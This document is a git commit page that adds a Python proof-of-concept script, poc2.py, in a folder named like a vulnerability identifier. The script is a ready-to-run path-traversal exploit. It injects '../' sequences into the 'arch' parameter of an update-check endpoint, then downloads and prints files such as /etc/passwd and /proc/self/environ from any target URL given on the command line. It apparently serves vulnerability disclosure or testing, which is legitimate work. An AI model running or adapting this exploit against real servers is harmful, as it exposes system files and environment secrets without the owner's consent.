Добавить rosetta-sdu-2026-0000/poc2.py
This commit is contained in:
39
rosetta-sdu-2026-0000/poc2.py
Normal file
39
rosetta-sdu-2026-0000/poc2.py
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
import sys
|
||||||
|
import json
|
||||||
|
from urllib.request import urlopen
|
||||||
|
from urllib.parse import urlencode
|
||||||
|
from urllib.error import URLError
|
||||||
|
|
||||||
|
u = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080"
|
||||||
|
u = u.rstrip("/")
|
||||||
|
t = ["etc/hostname", "etc/passwd", "proc/1/cmdline", "proc/self/environ", "proc/cpuinfo"]
|
||||||
|
|
||||||
|
for d in range(1, 11):
|
||||||
|
up = "/".join([".."] * d)
|
||||||
|
for f in t:
|
||||||
|
a = f"{up}/{f}"
|
||||||
|
params = urlencode({
|
||||||
|
"platform": "android",
|
||||||
|
"arch": a,
|
||||||
|
"app": "1.0.0",
|
||||||
|
"kernel": "0.0.0"
|
||||||
|
})
|
||||||
|
try:
|
||||||
|
r = urlopen(f"{u}/updates/get?{params}", timeout=5)
|
||||||
|
data = json.loads(r.read())
|
||||||
|
except (URLError, ValueError):
|
||||||
|
continue
|
||||||
|
|
||||||
|
k = data.get("kernelUpdateRequired") or data.get("kernel_update_required")
|
||||||
|
kurl = data.get("kernelUrl") or data.get("kernel_url")
|
||||||
|
if k and kurl and ".." in kurl:
|
||||||
|
print(f"Found: {kurl}")
|
||||||
|
try:
|
||||||
|
c = urlopen(u + kurl, timeout=5).read().decode("utf-8", errors="replace")
|
||||||
|
print(c[:1000])
|
||||||
|
except URLError:
|
||||||
|
print("Download failed")
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
print("Not vulnerable")
|
||||||
|
sys.exit(1)
|
||||||
Reference in New Issue
Block a user